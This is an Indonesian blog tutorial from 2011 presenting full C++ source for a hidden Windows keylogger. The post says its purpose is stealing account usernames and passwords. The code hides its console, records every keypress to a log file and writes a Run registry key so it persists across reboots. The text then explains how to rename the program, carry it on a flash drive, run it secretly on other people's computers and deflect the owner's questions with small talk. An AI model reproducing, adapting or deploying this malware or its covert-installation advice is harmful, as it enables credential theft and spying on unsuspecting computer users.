18 Des 2011

Keylogger di Flasdisk

Keylogger merupakan sebuah perangkat komputer baik perangkat keras atau perangkat lunak yang digunakan untuk memantau penekanan tombol keyboard. Sebuah keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol keyboard tersebut ke dalam sebuah berkas log/catatan/rekaman. Beberapa keylogger tertentu bahkan dapat mengirimkan hasil rekamannya ke e-mail tertentu secara periodik (wikipedia). Kalimat mudahnya keylogger adalah sebuah program yang dapat mencuri data akun (username, password) dengan cara merekam penekanan tombol pada keyboard.

Keylogger yang hendak kita buat menggunakan bahasa pemrograman C++, bagi agan yang belum paham apa itu C++ silahkan gugling, pelajari sendiri ya, jangan malas buat searching, reading n experiment. :P

langsung ja deh.,...ni POCny man teman....

• Pertama nte harus menyediakan flash disk ato USB (yang g jorok atau bebas virus ya, biar kompu orang g rusak).
• Lalu nte mesti download compiler C++. Bisa agan download di SINI
• Setelah di install, open dan tulis code ini ... :)
  (kalau tidak bisa di copas, silahkan Download Scriptnya di SINI )


#include 
#include 
#include 

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
    HWND stealth;
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
 
    int test,create;
    test=test_key();
        
    if (test==2)
    {
        char *path="c:\\%windir%\\Log.exe";
        create=create_key(path);
          
    }
        
 
    int t=get_keys();
    
    return t;
}  

int get_keys(void)
{
            short character;
              while(1)
{
                    
    for(character=8;character<=222;character++)
{
    if(GetAsyncKeyState(character)==-32767)
{  
                            
     FILE *file;
    file=fopen("log.log","a+");
if(file==NULL)
{
return 1;
}            
if(file!=NULL)
{        
if((character>=39)&&(character<=64))
{
    fputc(character,file);
    fclose(file);
    break;
}        
    else if((character>64)&&(character<91))
{
                                           character+=32;
                                           fputc(character,file);
                                           fclose(file);
                                           break;
}
    else
{
    switch(character)
{
                                               case VK_SPACE:
                                               fputc(' ',file);
                                               fclose(file);
                                               break;    
                                               case VK_SHIFT:
                                               fputs("[SHIFT]",file);
                                               fclose(file);
                                               break;                                            
                                               case VK_RETURN:
                                               fputs("\n[ENTER]",file);
                                               fclose(file);
                                               break;
                                               case VK_BACK:
                                               fputs("[BACKSPACE]",file);
                                               fclose(file);
                                               break;
                                               case VK_TAB:
                                               fputs("[TAB]",file);
                                               fclose(file);
                                               break;
                                               case VK_CONTROL:
                                               fputs("[CTRL]",file);
                                               fclose(file);
                                               break;    
                                               case VK_DELETE:
                                               fputs("[DEL]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_1:
                                               fputs("[;:]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_2:
                                               fputs("[/?]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_3:
                                               fputs("[`~]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_4:
                                               fputs("[ [{ ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_5:
                                               fputs("[\\|]",file);
                                               fclose(file);
                                               break;                                
                                               case VK_OEM_6:
                                               fputs("[ ]} ]",file);
                                               fclose(file);
                                               break;
                                               case VK_OEM_7:
                                               fputs("['\"]",file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD0:
                                               fputc('0',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD1:
                                               fputc('1',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD2:
                                               fputc('2',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD3:
                                               fputc('3',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD4:
                                               fputc('4',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD5:
                                               fputc('5',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD6:
                                               fputc('6',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD7:
                                               fputc('7',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD8:
                                               fputc('8',file);
                                               fclose(file);
                                               break;
                                               case VK_NUMPAD9:
                                               fputc('9',file);
                                               fclose(file);
                                               break;
                                               case VK_CAPITAL:
                                               fputs("[CAPS LOCK]",file);
                                               fclose(file);
                                               break;
                                               default:
                                               fclose(file);
                                               break;
                                        }        
                                   }    
                              }        
                    }    
                }                  
                    
            }
            return EXIT_SUCCESS;                            
}                                                

int test_key(void)
{
    int check;
    HKEY hKey;
    char path[BUFSIZE];
    DWORD buf_length=BUFSIZE;
    int reg_key;
    
    reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
    if(reg_key!=0)
    {    
        check=1;
        return check;
    }        
          
    reg_key=RegQueryValueEx(hKey,"Log",NULL,NULL,(LPBYTE)path,&buf_length);
    
    if((reg_key!=0)||(buf_length>BUFSIZE))
        check=2;
    if(reg_key==0)
        check=0;
        
    RegCloseKey(hKey);
    return check;  
}
 
int create_key(char *path)
{  
        int reg_key,check;
        
        HKEY hkey;
        
        reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
        if(reg_key==0)
        {
                RegSetValueEx((HKEY)hkey,"Log",0,REG_SZ,(BYTE *)path,strlen(path));
                check=0;
                return check;
        }
        if(reg_key!=0)
                check=1;
                
        return check;
}
 

• Nah, setelah itu nte Complie atau run, tapi enakan klik Rebuild All, bisa agan temukan di Execute>Rebuild All

• Nah berhubung program sudah jalan, wajib nte end process “Log.exe “nya di Windows Task Manager.Save program dengan nama “Log”.

• Sekarang, coba nte buka my document, pasti dah ada program nya “Log.exe” dan tempat hasil Log-an nya yang bernama “Log”

• Tetapi apabila anda ingin mengganti nama program nya menjadi nama yang anda ingin kan seperti contoh “Havizganteng”, bias anda ubah code nya di sini

char *path="c:\\%windir%\\Havizganteng.exe";
file=fopen("Havizganteng.log","a+");
reg_key=RegQueryValueEx(hKey,"Havizganteng",NULL,NULL,(LPBYTE)path,&buf_length);
RegSetValueEx((HKEY)hkey,"Havizganteng",0,REG_SZ,(BYTE *)path,strlen(path));

• Na, kan sudah menjadi folder, tinggal nte copy ke flash disk

• Selanjutnya, tinggal nte jalanin aja di kompu orang lain lewat flash disk nte, untuk menghentikan “Log.exe’ / Keylogger nya, bisa kalian end process di Windows Task Manager / ctrl+alt+delete

• Tetapi kalau yang punya kompu Tanya “ko flash disk nya g d lepas?”, na tinggal basa-basi da ama yang punya computer,, hehehehhehehehe